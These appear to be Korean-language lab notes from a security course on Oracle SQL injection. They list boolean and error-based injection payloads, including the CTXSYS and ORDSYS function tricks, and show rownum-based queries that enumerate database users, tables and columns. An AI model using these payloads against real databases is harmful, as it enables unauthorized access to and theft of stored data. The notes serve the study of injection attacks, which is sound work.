ORACLE INJECTION

' or 1=1 --

' and 1=1 --    : 출력 o 

> SELECT * FROM tb_board WHERE title like '%' and 1=1 -- %'

' and 1=2 --    : 출력 x

1. 에러 유무 분석 / 취약점 진단 / 공격 조건문 완성

' or 1=1 --

' or 1=2 --

>> 결과가 동일할 때 조건문 구문이 아니다

' or 1=1 and 1=1 --

' or 1=2 and 1=2 -- 

 

2. 환경 분석

3. 공격 선택

4. 메타데이터 조회

5. 

 

 

rownum 가상 컬럼

# mysql : #,-- (주석)
# oracle: --(주석)
SELECT username FROM all_users; > 유저이름 정상출력
SELECT rownum,username FROM all_users >> 번호, 유저이름이 정상 출력
SELECT rownum, username FROM all_users WHERE rownum=1; >> 1번 유저 이름 정상 출력

 

rownum 사용시 주의 사항 > rownum은 기본값이 1로 설정이 되어있다.

SELECT username FROM all_users WHERE rownum=1; > 1번 유저 정상 출력
SELECT username FROM all_users WHERE rownum=2; > 2번 유저 출력 불가

rownum은 기본값이 1이기 때문에 아래 구문과 같다

SELECT username FROM all_users WHERE 1=2; >> 그렇기에 출력 불가

 

SELECT username FROM all_users WHERE rownum!=3;
SELECT username FROM all_users WHERE rownum<3;

> 출력 가능하지만 2번까지만 출력

SELECT rownum r , username FROM all_users WHERE r=3;

# rounum을 r이라고 칭한다

SELECT 절이 실행 되기 전이기 때문에 오류

SELECT * FROM (SELECT rownum r,username FROM all_users) WHERE r=3;

3번 하나만 출력하기 완료

ORACLE의 메타 데이터 조회

	MYSQL	ORACLE
데이터 베이스 이름	information_schema.schemata	User
테이블 이름	Sinformation_schema.tables	User_tables
컬럼 이름	information_schema.columns	User_tab_columns

 

ORACLE 3가지 데이터 분류

DBA_	데이터 베이스 관리자
ALL_	현재 로그인한 사용자가 접근 가능한 모든 테이블과 컬럼 정보
USER_	현재 로그인한 사용자가 생성/소유한 테이블과 컬럼 정보

SELECT DISTINCT owner FROM all_tables;	# 모든 테이블의 owner들을 중복 제거 후 보여준다

SELECT DISTINCT owner FROM all_tab_columns;		# 모든 컬럼들의 owner을 중복 제거 후 보여준다

SELECT DISTINCT * FROM all_tables WHERE owner='C##KITRI';
# 'C##KITRI'유저가 가진 테이블 목록을 조회
# owner뒤의 사용자 이름은 무조건 대문자여야 한다

# C##KITRI 유저가 가진 MEMBERS 테이블에서 컬럼 이름을 조회하시오
SELECT column_name FROM all_tab_columns WHERE owner='C##KITRI' and table_name='MEMBERS';

메타 데이터 목록화

1. 현재 사용자(유저)를 찾는다.

2. 현재 사용자가 권한을 가지고 조회할 수 있는 모든 테이블의 목록을 본다

ex) SELECT table_name FROM ALL_TABLES WHERE owner='C##KITRI'

3. 현재 사용자가 권한을 가지고 조회할 수 있는 모든 컬럼의 목록을 본다.

ex) SELECT column_name FROM ALL_TAB_COLUMNS WHERE owner='C##KITRI' AND table_name='MEMBERS'

ORACLE

ALL

ALL_tables

ALL_tab_columns

 

ORACLE에서 ErrorBased 공격

ORDSYS.ORD_DICOM.GETMAPPINGXPATH (공격구문)

CTXSYS.DRITHSX.SN(1,공격구문)

CTXSYS.CTX_QUERY.CHK_XPATH(공격구문,1)

 

# 3가지 기본 정보
SELECT banner FROM v$version WHERE rownum=1;	# 버전
SELECT user FROM dual;		# 사용자
SELECT global_name FROM global_name;		# SID

메타 데이터 목록화

순차적 접근의 순서

1. 유저명 조회

2. 테이블 조회

3. 컬럼 조회

 

1. 접근 가능한 사용자명(owner)이 필요

SELECT DISTINCT owner FROM all_tables;

---

사용자 목록화

# 실행 오류 // 이유 : rownum과 DISTINCT는 함께 사용할 수 없다.
SELECT owner FROM (SELECT rownum r, DISTINCT owner FROM all_tables) WHERE r=1;

# 해결책 : 중복 제거를 먼저 하고 rownum으로 순서를 붙인다.
SELECT owner FROM (SELECT rownum r, owner FROM(SELECT DISTINCT owner FROM all_tables)) WHERE r=1;

1. SYS   2. XDB   3.SYSTEM   4.CTXSYS   5.MDSYS   6.C##KITRI

---

ORACLE의 TABLE 목록화

# all_tables에 있는 owner가 C##KITRI인 table_name에 숫자를 매긴다
SELECT table_name FROM (SELECT rownum r, table_name FROM all_tables WHERE owner='C##KITRI') WHERE r=1;

# column 이름 목록화 하기
SELECT column_name FROM ( SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##KITRI' and table_name='MEMBERS') WHERE r=1;